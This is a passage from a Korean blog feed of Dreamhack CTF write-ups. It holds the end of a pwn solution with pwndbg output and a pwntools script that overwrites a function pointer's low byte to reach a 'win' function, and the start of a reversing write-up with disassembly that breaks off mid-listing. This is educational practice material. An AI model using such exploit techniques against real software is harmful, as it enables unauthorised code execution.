<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c++" data-lang="c++"><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="mh">0x000055555555ee92</span> <span class="n">in</span> <span class="n">prob</span><span class="o">::</span><span class="n">main</span> <span class="p">()</span>
</span></span><span class="line"><span class="cl"><span class="nl">LEGEND</span><span class="p">:</span> <span class="n">STACK</span> <span class="o">|</span> <span class="n">HEAP</span> <span class="o">|</span> <span class="n">CODE</span> <span class="o">|</span> <span class="n">DATA</span> <span class="o">|</span> <span class="n">RWX</span> <span class="o">|</span> <span class="n">RODATA</span>
</span></span><span class="line"><span class="cl"><span class="err">──────────────────────────</span><span class="p">[</span> <span class="n">REGISTERS</span> <span class="o">/</span> <span class="n">show</span><span class="o">-</span><span class="n">flags</span> <span class="n">off</span> <span class="o">/</span> <span class="n">show</span><span class="o">-</span><span class="n">compact</span><span class="o">-</span><span class="n">regs</span> <span class="n">off</span> <span class="p">]</span><span class="err">───────────────────────────</span>
</span></span><span class="line"><span class="cl"> <span class="n">RAX</span>  <span class="mh">0x55555555ea62</span> <span class="p">(</span><span class="n">prob</span><span class="o">::</span><span class="n">win</span><span class="o">+</span><span class="mi">82</span><span class="p">)</span> <span class="err">◂—</span> <span class="n">add</span> <span class="n">byte</span> <span class="n">ptr</span> <span class="p">[</span><span class="n">rdi</span><span class="p">],</span> <span class="n">cl</span>
</span></span><span class="line"><span class="cl"> <span class="n">RBX</span>  <span class="mh">0x1</span>
</span></span><span class="line"><span class="cl"><span class="o">*</span><span class="n">RCX</span>  <span class="mh">0x55555555ea10</span> <span class="p">(</span><span class="n">prob</span><span class="o">::</span><span class="n">win</span><span class="p">)</span> <span class="err">◂—</span> <span class="n">sub</span> <span class="n">rsp</span><span class="p">,</span> <span class="mh">0xe8</span>
</span></span><span class="line"><span class="cl"> <span class="n">RDX</span>  <span class="mh">0xfffffffffffffffc</span>
</span></span><span class="line"><span class="cl"> <span class="n">RDI</span>  <span class="mh">0x5555555b7500</span> <span class="err">◂—</span> <span class="mh">0x2c3739202c37395b</span> <span class="p">(</span><span class="err">&#39;</span><span class="p">[</span><span class="mi">97</span><span class="p">,</span> <span class="mi">97</span><span class="p">,</span><span class="err">&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"> <span class="n">RSI</span>  <span class="mh">0x5555555b6078</span> <span class="p">(</span><span class="n">std</span><span class="o">::</span><span class="n">io</span><span class="o">::</span><span class="n">stdio</span><span class="o">::</span><span class="n">STDOUT</span><span class="p">)</span> <span class="err">◂—</span> <span class="mh">0x0</span>
</span></span><span class="line"><span class="cl"> <span class="n">R8</span>   <span class="mh">0xa</span>
</span></span><span class="line"><span class="cl"> <span class="n">R9</span>   <span class="mh">0x2</span>
</span></span><span class="line"><span class="cl"> <span class="n">R10</span>  <span class="mh">0x5555555a6364</span> <span class="err">◂—</span> <span class="mh">0x101010101010101</span>
</span></span><span class="line"><span class="cl"> <span class="n">R11</span>  <span class="mh">0x246</span>
</span></span><span class="line"><span class="cl"> <span class="n">R12</span>  <span class="mh">0x7fffff7ff000</span> <span class="err">◂—</span> <span class="mh">0x0</span>
</span></span><span class="line"><span class="cl"> <span class="n">R13</span>  <span class="mh">0x0</span>
</span></span><span class="line"><span class="cl"> <span class="n">R14</span>  <span class="mh">0x7fffffffe4f0</span> <span class="err">—▸</span> <span class="mh">0x55555555eb90</span> <span class="p">(</span><span class="n">prob</span><span class="o">::</span><span class="n">main</span><span class="p">)</span> <span class="err">◂—</span> <span class="n">sub</span> <span class="n">rsp</span><span class="p">,</span> <span class="mh">0x208</span>
</span></span><span class="line"><span class="cl"> <span class="n">R15</span>  <span class="mh">0x7fffffffe470</span> <span class="err">◂—</span> <span class="mh">0x0</span>
</span></span><span class="line"><span class="cl"> <span class="n">RBP</span>  <span class="mh">0x7fffff7fe000</span>
</span></span><span class="line"><span class="cl"> <span class="n">RSP</span>  <span class="mh">0x7fffffffe170</span> <span class="err">◂—</span> <span class="mh">0x0</span>
</span></span><span class="line"><span class="cl"><span class="o">*</span><span class="n">RIP</span>  <span class="mh">0x55555555ee92</span> <span class="p">(</span><span class="n">prob</span><span class="o">::</span><span class="n">main</span><span class="o">+</span><span class="mi">770</span><span class="p">)</span> <span class="err">◂—</span> <span class="n">cmp</span> <span class="n">rax</span><span class="p">,</span> <span class="n">rcx</span>
</span></span><span class="line"><span class="cl"><span class="err">───────────────────────────────────</span><span class="p">[</span> <span class="n">DISASM</span> <span class="o">/</span> <span class="n">x86</span><span class="o">-</span><span class="mi">64</span> <span class="o">/</span> <span class="n">set</span> <span class="n">emulate</span> <span class="n">on</span> <span class="p">]</span><span class="err">────────────────────────────────────</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x55555555ee83</span> <span class="o">&lt;</span><span class="n">prob</span><span class="o">::</span><span class="n">main</span><span class="o">+</span><span class="mi">755</span><span class="o">&gt;</span>    <span class="n">mov</span>    <span class="n">rax</span><span class="p">,</span> <span class="n">qword</span> <span class="n">ptr</span> <span class="p">[</span><span class="n">rsp</span> <span class="o">+</span> <span class="mh">0x128</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x55555555ee8b</span> <span class="o">&lt;</span><span class="n">prob</span><span class="o">::</span><span class="n">main</span><span class="o">+</span><span class="mi">763</span><span class="o">&gt;</span>    <span class="n">lea</span>    <span class="n">rcx</span><span class="p">,</span> <span class="p">[</span><span class="n">rip</span> <span class="o">-</span> <span class="mh">0x482</span><span class="p">]</span>            <span class="o">&lt;</span><span class="n">prob</span><span class="o">::</span><span class="n">win</span><span class="o">&gt;</span>
</span></span><span class="line"><span class="cl"> <span class="err">►</span> <span class="mh">0x55555555ee92</span> <span class="o">&lt;</span><span class="n">prob</span><span class="o">::</span><span class="n">main</span><span class="o">+</span><span class="mi">770</span><span class="o">&gt;</span>    <span class="n">cmp</span>    <span class="n">rax</span><span class="p">,</span> <span class="n">rcx</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x55555555ee95</span> <span class="o">&lt;</span><span class="n">prob</span><span class="o">::</span><span class="n">main</span><span class="o">+</span><span class="mi">773</span><span class="o">&gt;</span>    <span class="n">jne</span>    <span class="n">prob</span><span class="o">::</span><span class="n">main</span><span class="o">+</span><span class="mi">787</span>                <span class="o">&lt;</span><span class="n">prob</span><span class="o">::</span><span class="n">main</span><span class="o">+</span><span class="mi">787</span><span class="o">&gt;</span>
</span></span><span class="line"><span class="cl">    <span class="err">↓</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x55555555eea3</span> <span class="o">&lt;</span><span class="n">prob</span><span class="o">::</span><span class="n">main</span><span class="o">+</span><span class="mi">787</span><span class="o">&gt;</span>    <span class="n">lea</span>    <span class="n">rsi</span><span class="p">,</span> <span class="p">[</span><span class="n">rip</span> <span class="o">+</span> <span class="mh">0x54256</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x55555555eeaa</span> <span class="o">&lt;</span><span class="n">prob</span><span class="o">::</span><span class="n">main</span><span class="o">+</span><span class="mi">794</span><span class="o">&gt;</span>    <span class="n">lea</span>    <span class="n">rdi</span><span class="p">,</span> <span class="p">[</span><span class="n">rsp</span> <span class="o">+</span> <span class="mh">0x1b8</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x55555555eeb2</span> <span class="o">&lt;</span><span class="n">prob</span><span class="o">::</span><span class="n">main</span><span class="o">+</span><span class="mi">802</span><span class="o">&gt;</span>    <span class="n">mov</span>    <span class="n">edx</span><span class="p">,</span> <span class="mi">1</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x55555555eeb7</span> <span class="o">&lt;</span><span class="n">prob</span><span class="o">::</span><span class="n">main</span><span class="o">+</span><span class="mi">807</span><span class="o">&gt;</span>    <span class="n">call</span>   <span class="n">core</span><span class="o">::</span><span class="n">fmt</span><span class="o">::</span><span class="n">Arguments</span><span class="o">::</span><span class="n">new_const</span>                <span class="o">&lt;</span><span class="n">core</span><span class="o">::</span><span class="n">fmt</span><span class="o">::</span><span class="n">Arguments</span><span class="o">::</span><span class="n">new_const</span><span class="o">&gt;</span>
</span></span><span class="line"><span class="cl"> 
</span></span><span class="line"><span class="cl">   <span class="mh">0x55555555eebc</span> <span class="o">&lt;</span><span class="n">prob</span><span class="o">::</span><span class="n">main</span><span class="o">+</span><span class="mi">812</span><span class="o">&gt;</span>    <span class="n">jmp</span>    <span class="n">prob</span><span class="o">::</span><span class="n">main</span><span class="o">+</span><span class="mi">843</span>                <span class="o">&lt;</span><span class="n">prob</span><span class="o">::</span><span class="n">main</span><span class="o">+</span><span class="mi">843</span><span class="o">&gt;</span>
</span></span><span class="line"><span class="cl"> 
</span></span><span class="line"><span class="cl">   <span class="mh">0x55555555eebe</span> <span class="o">&lt;</span><span class="n">prob</span><span class="o">::</span><span class="n">main</span><span class="o">+</span><span class="mi">814</span><span class="o">&gt;</span>    <span class="n">jmp</span>    <span class="n">prob</span><span class="o">::</span><span class="n">main</span><span class="o">+</span><span class="mi">816</span>                <span class="o">&lt;</span><span class="mh">0x55555555eec0</span><span class="o">&gt;</span>
</span></span><span class="line"><span class="cl"> 
</span></span><span class="line"><span class="cl">   <span class="mh">0x55555555eec0</span> <span class="o">&lt;</span><span class="n">prob</span><span class="o">::</span><span class="n">main</span><span class="o">+</span><span class="mi">816</span><span class="o">&gt;</span>    <span class="n">mov</span>    <span class="n">qword</span> <span class="n">ptr</span> <span class="p">[</span><span class="n">rsp</span> <span class="o">+</span> <span class="mh">0x90</span><span class="p">],</span> <span class="mi">0</span>
</span></span><span class="line"><span class="cl"><span class="err">─────────────────────────────────────────────────</span><span class="p">[</span> <span class="n">STACK</span> <span class="p">]</span><span class="err">─────────────────────────────────────────────────</span>
</span></span><span class="line"><span class="cl"><span class="mo">00</span><span class="o">:</span><span class="mo">0000</span><span class="err">│</span> <span class="n">rsp</span> <span class="mh">0x7fffffffe170</span> <span class="err">◂—</span> <span class="mh">0x0</span>
</span></span><span class="line"><span class="cl"><span class="mo">01</span><span class="o">:</span><span class="mo">000</span><span class="mi">8</span><span class="err">│</span>     <span class="mh">0x7fffffffe178</span> <span class="err">—▸</span> <span class="mh">0x7fffffffe288</span> <span class="err">◂—</span> <span class="mh">0x6161616161616161</span> <span class="p">(</span><span class="err">&#39;</span><span class="n">aaaaaaaa</span><span class="err">&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="mo">02</span><span class="o">:</span><span class="mo">0010</span><span class="err">│</span>     <span class="mh">0x7fffffffe180</span> <span class="err">—▸</span> <span class="mh">0x55555555dfa0</span> <span class="p">(</span><span class="n">core</span><span class="o">::</span><span class="n">array</span><span class="o">::&lt;</span><span class="n">impl</span> <span class="n">core</span><span class="o">::</span><span class="n">fmt</span><span class="o">::</span><span class="n">Debug</span> <span class="k">for</span> <span class="p">[</span><span class="n">T</span><span class="p">;</span> <span class="n">N</span><span class="p">]</span><span class="o">&gt;::</span><span class="n">fmt</span><span class="p">)</span> <span class="err">◂—</span> <span class="n">sub</span> <span class="n">rsp</span><span class="p">,</span> <span class="mh">0x18</span>
</span></span><span class="line"><span class="cl"><span class="mo">03</span><span class="o">:</span><span class="mo">001</span><span class="mi">8</span><span class="err">│</span>     <span class="mh">0x7fffffffe188</span> <span class="err">◂—</span> <span class="mh">0x11</span>
</span></span><span class="line"><span class="cl"><span class="mo">04</span><span class="o">:</span><span class="mo">0020</span><span class="err">│</span>     <span class="mh">0x7fffffffe190</span> <span class="err">—▸</span> <span class="mh">0x5555555b9bb0</span> <span class="err">◂—</span> <span class="err">&#39;</span><span class="n">aaaaaaaaaaaaaaaab</span><span class="err">\</span><span class="n">n</span><span class="err">&#39;</span>
</span></span><span class="line"><span class="cl"><span class="mo">05</span><span class="o">:</span><span class="mo">002</span><span class="mi">8</span><span class="err">│</span>     <span class="mh">0x7fffffffe198</span> <span class="err">◂—</span> <span class="mh">0x11</span>
</span></span><span class="line"><span class="cl"><span class="p">...</span> <span class="err">↓</span>        <span class="mi">2</span> <span class="n">skipped</span>
</span></span><span class="line"><span class="cl"><span class="err">───────────────────────────────────────────────</span><span class="p">[</span> <span class="n">BACKTRACE</span> <span class="p">]</span><span class="err">───────────────────────────────────────────────</span>
</span></span><span class="line"><span class="cl"> <span class="err">►</span> <span class="mi">0</span>   <span class="mh">0x55555555ee92</span> <span class="n">prob</span><span class="o">::</span><span class="n">main</span><span class="o">+</span><span class="mi">770</span>
</span></span><span class="line"><span class="cl">   <span class="mi">1</span>   <span class="mh">0x55555555d883</span> <span class="n">core</span><span class="o">::</span><span class="n">ops</span><span class="o">::</span><span class="n">function</span><span class="o">::</span><span class="n">FnOnce</span><span class="o">::</span><span class="n">call_once</span><span class="o">+</span><span class="mi">3</span>
</span></span><span class="line"><span class="cl">   <span class="mi">2</span>   <span class="mh">0x55555555cea6</span> <span class="n">std</span><span class="o">::</span><span class="n">sys_common</span><span class="o">::</span><span class="n">backtrace</span><span class="o">::</span><span class="n">__rust_begin_short_backtrace</span><span class="o">+</span><span class="mi">6</span>
</span></span><span class="line"><span class="cl">   <span class="mi">3</span>   <span class="mh">0x55555555d409</span> <span class="n">std</span><span class="o">::</span><span class="n">rt</span><span class="o">::</span><span class="n">lang_start</span><span class="o">::</span><span class="p">{{</span><span class="n">closure</span><span class="p">}}</span><span class="o">+</span><span class="mi">9</span>
</span></span><span class="line"><span class="cl">   <span class="mi">4</span>   <span class="mh">0x5555555763ab</span> <span class="n">std</span><span class="o">::</span><span class="n">rt</span><span class="o">::</span><span class="n">lang_start_internal</span><span class="o">+</span><span class="mi">1051</span>
</span></span><span class="line"><span class="cl">   <span class="mi">5</span>   <span class="mh">0x5555555763ab</span> <span class="n">std</span><span class="o">::</span><span class="n">rt</span><span class="o">::</span><span class="n">lang_start_internal</span><span class="o">+</span><span class="mi">1051</span>
</span></span><span class="line"><span class="cl">   <span class="mi">6</span>   <span class="mh">0x5555555763ab</span> <span class="n">std</span><span class="o">::</span><span class="n">rt</span><span class="o">::</span><span class="n">lang_start_internal</span><span class="o">+</span><span class="mi">1051</span>
</span></span><span class="line"><span class="cl">   <span class="mi">7</span>   <span class="mh">0x5555555763ab</span> <span class="n">std</span><span class="o">::</span><span class="n">rt</span><span class="o">::</span><span class="n">lang_start_internal</span><span class="o">+</span><span class="mi">1051</span>
</span></span><span class="line"><span class="cl"><span class="err">───────────────────────────────────────────────────────────────────────────────────────────────────────────</span>
</span></span><span class="line"><span class="cl"><span class="n">pwndbg</span><span class="o">&gt;</span> 
</span></span></code></pre></div><p>rax 레지스터의 값을 보면 다행이도 하위 1바이트를 제외하고 rcx와 동일한 값을 가지고 있다. 따라서 16개의 a와 0x10을 바이트로 전송하면 플레그 획득에 성공한다. 공격 코드와 결과는 다음과 같다.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
</span></span><span class="line"><span class="cl"><span class="n">context</span><span class="o">.</span><span class="n">update</span><span class="p">(</span><span class="n">arch</span><span class="o">=</span><span class="s1">&#39;amd64&#39;</span><span class="p">,</span> <span class="n">os</span><span class="o">=</span><span class="s1">&#39;linux&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">p</span> <span class="o">=</span> <span class="n">process</span><span class="p">(</span><span class="s2">&#34;./prob&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">payload</span> <span class="o">=</span> <span class="sa">b</span><span class="s2">&#34;</span><span class="se">\x61</span><span class="s2">&#34;</span><span class="o">*</span><span class="mi">16</span>
</span></span><span class="line"><span class="cl"><span class="c1">#payload += b&#34;\x10\xea\x55\x55&#34;</span>
</span></span><span class="line"><span class="cl"><span class="n">payload</span> <span class="o">+=</span> <span class="sa">b</span><span class="s2">&#34;</span><span class="se">\x10</span><span class="s2">&#34;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">p</span><span class="o">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="sa">b</span><span class="s2">&#34;Password &gt;&gt; &#34;</span><span class="p">,</span> <span class="n">payload</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">p</span><span class="o">.</span><span class="n">recvall</span><span class="p">())</span>
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c++" data-lang="c++"><span class="line"><span class="cl"><span class="n">root</span><span class="err">@</span><span class="mi">7</span><span class="nl">cb73a3db36b</span><span class="p">:</span><span class="o">/</span><span class="n">home</span><span class="o">/</span><span class="n">dreamhack</span><span class="o">/</span><span class="n">chrustmas</span><span class="o">/</span><span class="n">deploy</span><span class="err">#</span> <span class="n">python3</span> <span class="n">exp</span><span class="p">.</span><span class="n">py</span> 
</span></span><span class="line"><span class="cl"><span class="p">[</span><span class="o">+</span><span class="p">]</span> <span class="n">Starting</span> <span class="n">local</span> <span class="n">process</span> <span class="err">&#39;</span><span class="p">.</span><span class="o">/</span><span class="n">prob</span><span class="err">&#39;</span><span class="o">:</span> <span class="n">pid</span> <span class="mi">173</span>
</span></span><span class="line"><span class="cl"><span class="p">[</span><span class="o">+</span><span class="p">]</span> <span class="n">Receiving</span> <span class="n">all</span> <span class="nl">data</span><span class="p">:</span> <span class="n">Done</span> <span class="p">(</span><span class="mi">145</span><span class="n">B</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">[</span><span class="o">*</span><span class="p">]</span> <span class="n">Process</span> <span class="err">&#39;</span><span class="p">.</span><span class="o">/</span><span class="n">prob</span><span class="err">&#39;</span> <span class="n">stopped</span> <span class="n">with</span> <span class="n">exit</span> <span class="n">code</span> <span class="mi">0</span> <span class="p">(</span><span class="n">pid</span> <span class="mi">173</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">b</span><span class="s">&#34;[97, 97, 97, 97, 97, 97, 97, 97, 97, 97, 97, 97, 97, 97, 97, 97]</span><span class="se">\n</span><span class="s">Congratulations! I hope you&#39;ve got a couple Christmas!!!</span><span class="se">\n</span><span class="s">flag: DH{sample_flag}</span><span class="se">\n\n</span><span class="s">&#34;</span>
</span></span><span class="line"><span class="cl"><span class="n">root</span><span class="err">@</span><span class="mi">7</span><span class="nl">cb73a3db36b</span><span class="p">:</span><span class="o">/</span><span class="n">home</span><span class="o">/</span><span class="n">dreamhack</span><span class="o">/</span><span class="n">chrustmas</span><span class="o">/</span><span class="n">deploy</span><span class="err">#</span>
</span></span></code></pre></div><p>플래그는 더미이며 실 문제 서버에 적용하면 플레그를 획득할 수 있다.</p>
]]></content:encoded></item><item><title>[Dreamhack] REV Small Counter</title><link>https://dig06161.github.io/2023/05/31/dreamhack-rev-Small_Counter/</link><pubDate>Wed, 31 May 2023 09:00:00 +0900</pubDate><guid>https://dig06161.github.io/2023/05/31/dreamhack-rev-Small_Counter/</guid><description>드림핵 리버싱 Small Counter 문제풀이</description><content:encoded><![CDATA[<p>이번 문제는 Dreamhack CTF Season 3 Round #4 (🌱Div2)에 출제된 리버싱 문제이다. 오랜만에 풀어보는 리버싱 문제인데, 리눅스 기반 ELF 바이너리다. 일단 실행시켜보자.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c++" data-lang="c++"><span class="line"><span class="cl"><span class="n">root</span><span class="err">@</span><span class="n">dig06161</span><span class="o">-</span><span class="k">virtual</span><span class="o">-</span><span class="nl">machine</span><span class="p">:</span><span class="o">/</span><span class="n">home</span><span class="o">/</span><span class="n">dig06161</span><span class="o">/</span><span class="n">file</span><span class="o">/</span><span class="n">dreamhack</span><span class="o">/</span><span class="n">Small_Counter</span><span class="err">#</span> <span class="p">.</span><span class="o">/</span><span class="n">chall</span>
</span></span><span class="line"><span class="cl"><span class="o">---</span><span class="n">Counter</span><span class="o">---</span>
</span></span><span class="line"><span class="cl"><span class="mi">10</span>
</span></span><span class="line"><span class="cl"><span class="mi">9</span>
</span></span><span class="line"><span class="cl"><span class="mi">8</span>
</span></span><span class="line"><span class="cl"><span class="mi">7</span>
</span></span><span class="line"><span class="cl"><span class="mi">6</span>
</span></span><span class="line"><span class="cl"><span class="mi">5</span>
</span></span><span class="line"><span class="cl"><span class="mi">4</span>
</span></span><span class="line"><span class="cl"><span class="mi">3</span>
</span></span><span class="line"><span class="cl"><span class="mi">2</span>
</span></span><span class="line"><span class="cl"><span class="mi">1</span>
</span></span><span class="line"><span class="cl"><span class="o">---</span><span class="n">END</span><span class="o">---</span>
</span></span><span class="line"><span class="cl"><span class="n">root</span><span class="err">@</span><span class="n">dig06161</span><span class="o">-</span><span class="k">virtual</span><span class="o">-</span><span class="nl">machine</span><span class="p">:</span><span class="o">/</span><span class="n">home</span><span class="o">/</span><span class="n">dig06161</span><span class="o">/</span><span class="n">file</span><span class="o">/</span><span class="n">dreamhack</span><span class="o">/</span><span class="n">Small_Counter</span><span class="err">#</span> 
</span></span></code></pre></div><p>10부터 1까지 출력한다. 여기서 flag를 출력하는 부분을 찾아 실행해야 할 것 같다. 우선  ghidra를 통해 바이너리를 열어보자. main함수의 어셈블리와 디컴파일 코드는 다음과 같다.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c++" data-lang="c++"><span class="line"><span class="cl"><span class="mh">0x0000555555555494</span> <span class="o">&lt;+</span><span class="mi">0</span><span class="o">&gt;:</span>     <span class="n">endbr64</span> 
</span></span><span class="line"><span class="cl">   <span class="mh">0x0000555555555498</span> <span class="o">&lt;+</span><span class="mi">4</span><span class="o">&gt;:</span>     <span class="n">push</span>   <span class="n">rbp</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x0000555555555499</span> <span class="o">&lt;+</span><span class="mi">5</span><span class="o">&gt;:</span>     <span class="n">mov</span>    <span class="n">rbp</span><span class="p">,</span><span class="n">rsp</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000055555555549c</span> <span class="o">&lt;+</span><span class="mi">8</span><span class="o">&gt;:</span>     <span class="n">sub</span>    <span class="n">rsp</span><span class="p">,</span><span class="mh">0xf0</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x00005555555554a3</span> <span class="o">&lt;+</span><span class="mi">15</span><span class="o">&gt;:</span>    <span class="n">mov</span>    <span class="n">DWORD</span> <span class="n">PTR</span> <span class="p">[</span><span class="n">rbp</span><span class="o">-</span><span class="mh">0x4</span><span class="p">],</span><span class="mh">0x0</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x00005555555554aa</span> <span class="o">&lt;+</span><span class="mi">22</span><span class="o">&gt;:</span>    <span class="n">lea</span>    <span class="n">rax</span><span class="p">,[</span><span class="n">rip</span><span class="o">+</span><span class="mh">0xb53</span><span class="p">]</span>        <span class="err">#</span> <span class="mh">0x555555556004</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x00005555555554b1</span> <span class="o">&lt;+</span><span class="mi">29</span><span class="o">&gt;:</span>    <span class="n">mov</span>    <span class="n">rdi</span><span class="p">,</span><span class="n">rax</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x00005555555554b4</span> <span class="o">&lt;+</span><span class="mi">32</span><span class="o">&gt;:</span>    <span class="n">call</span>   <span class="mh">0x555555555090</span> <span class="o">&lt;</span><span class="n">puts</span><span class="err">@</span><span class="n">plt</span><span class="o">&gt;</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x00005555555554b9</span> <span class="o">&lt;+</span><span class="mi">37</span><span class="o">&gt;:</span>    <span class="n">mov</span>    <span class="n">DWORD</span> <span class="n">PTR</span> <span class="p">[</span><span class="n">rbp</span><span class="o">-</span><span class="mh">0x4</span><span class="p">],</span><span class="mh">0xa</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x00005555555554c0</span> <span class="o">&lt;+</span><span class="mi">44</span><span class="o">&gt;:</span>    <span class="n">jmp</span>    <span class="mh">0x5555555555a0</span> <span class="o">&lt;</span><span class="n">main</span><span class="o">+</span><span class="mi">268</span><span class="o">&gt;</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x00005555555554c5</span> <span class="o">&lt;+</span><span class="mi">49</span><span class="o">&gt;:</span>    <span class="n">mov</span>    <span class="n">eax</span><span class="p">,</span><span class="n">DWORD</span> <span class="n">PTR</span> <span class="p">[</span><span class="n">rbp</span><span class="o">-</span><span class="mh">0x4</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x00005555555554c8</span> <span class="o">&lt;+</span><span class="mi">52</span><span class="o">&gt;:</span>    <span class="n">mov</span>    <span class="n">esi</span><span class="p">,</span><span class="n">eax</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x00005555555554ca</span> <span class="o">&lt;+</span><span class="mi">54</span><span class="o">&gt;:</span>    <span class="n">lea</span>    <span class="n">rax</span><span class="p">,[</span><span class="n">rip</span><span class="o">+</span><span class="mh">0xb41</span><span class="p">]</span>        <span class="err">#</span> <span class="mh">0x555555556012</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x00005555555554d1</span> <span class="o">&lt;+</span><span class="mi">61</span><span class="o">&gt;:</span>    <span class="n">mov</span>    <span class="n">rdi</span><span class="p">,</span><span class="n">rax</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x00005555555554d4</span> <span class="o">&lt;+</span><span class="mi">64</span><span class="o">&gt;:</span>    <span class="n">mov</span>    <span class="n">eax</span><span class="p">,</span><span class="mh">0x0</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x00005555555554d9</span> <span class="o">&lt;+</span><span class="mi">69</span><span class="o">&gt;:</span>    <span class="n">call</span>   <span class="mh">0x5555555550b0</span> <span class="o">&lt;</span><span class="n">printf</span><span class="err">@</span><span class="n">plt</span><span class="o">&gt;</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x00005555555554de</span> <span class="o">&lt;+</span><span class="mi">74</span><span class="o">&gt;:</span>    <span class="n">cmp</span>    <span class="n">DWORD</span> <span class="n">PTR</span> <span class="p">[</span><span class="n">rbp</span><span class="o">-</span><span class="mh">0x4</span><span class="p">],</span><span class="mh">0x3</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x00005555555554e2</span> <span class="o">&lt;+</span><span class="mi">78</span><span class="o">&gt;:</span>    <span class="n">jne</span>    <span class="mh">0x55555555559c</span> <span class="o">&lt;</span><span class="n">main</span><span class="o">+</span><span class="mi">264</span><span class="o">&gt;</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x00005555555554e8</span> <span class="o">&lt;+</span><span class="mi">84</span><span class="o">&gt;:</span>    <span class="n">movabs</span> <span class="n">rax</span><span class="p">,</span><span class="mh">0x38383830357b4d49</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x00005555555554f2</span> <span class="o">&lt;+</span><span class="mi">94</span><span class="o">&gt;:</span>    <span class="n">movabs</span> <span class="n">rdx</span><span class="p">,</span><span class="mh">0x6a37386a32336a39</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x00005555555554fc</span> <span class="o">&lt;+</span><span class="mi">104</span><span class="o">&gt;:</span>   <span class="n">mov</span>    <span class="n">QWORD</span> <span class="n">PTR</span> <span class="p">[</span><span class="n">rbp</span><span class="o">-</span><span class="mh">0xf0</span><span class="p">],</span><span class="n">rax</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x0000555555555503</span> <span class="o">&lt;+</span><span class="mi">111</span><span class="o">&gt;:</span>   <span class="n">mov</span>    <span class="n">QWORD</span> <span class="n">PTR</span> <span class="p">[</span><span class="n">rbp</span><span class="o">-</span><span class="mh">0xe8</span><span class="p">],</span><span class="n">rdx</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000055555555550a</span> <span class="o">&lt;+</span><span class="mi">118</span><span class="o">&gt;:</span>   <span class="n">movabs</span> <span class="n">rax</span><span class="p">,</span><span class="mh">0x3035363435676a39</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x0000555555555514</span> <span class="o">&lt;+</span><span class="mi">128</span><span class="o">&gt;:</span>   <span class="n">movabs</span> <span class="n">rdx</span><span class="p">,</span><span class="mh">0x6a68383234303438</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000055555555551e</span> <span class="o">&lt;+</span><span class="mi">138</span><span class="o">&gt;:</span>   <span class="n">mov</span>    <span class="n">QWORD</span> <span class="n">PTR</span> <span class="p">[</span><span class="n">rbp</span><span class="o">-</span><span class="mh">0xe0</span><span class="p">],</span><span class="n">rax</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x0000555555555525</span> <span class="o">&lt;+</span><span class="mi">145</span><span class="o">&gt;:</span>   <span class="n">mov</span>    <span class="n">QWORD</span> <span class="n">PTR</span> <span class="p">[</span><span class="n">rbp</span><span class="o">-</span><span class="mh">0xd8</span><span class="p">],</span><span class="n">rdx</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000055555555552c</span> <span class="o">&lt;+</span><span class="mi">152</span><span class="o">&gt;:</span>   <span class="n">movabs</span> <span class="n">rax</span><span class="p">,</span><span class="mh">0x6838306969326968</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x0000555555555536</span> <span class="o">&lt;+</span><span class="mi">162</span><span class="o">&gt;:</span>   <span class="n">movabs</span> <span class="n">rdx</span><span class="p">,</span><span class="mh">0x3833356a68693437</span>
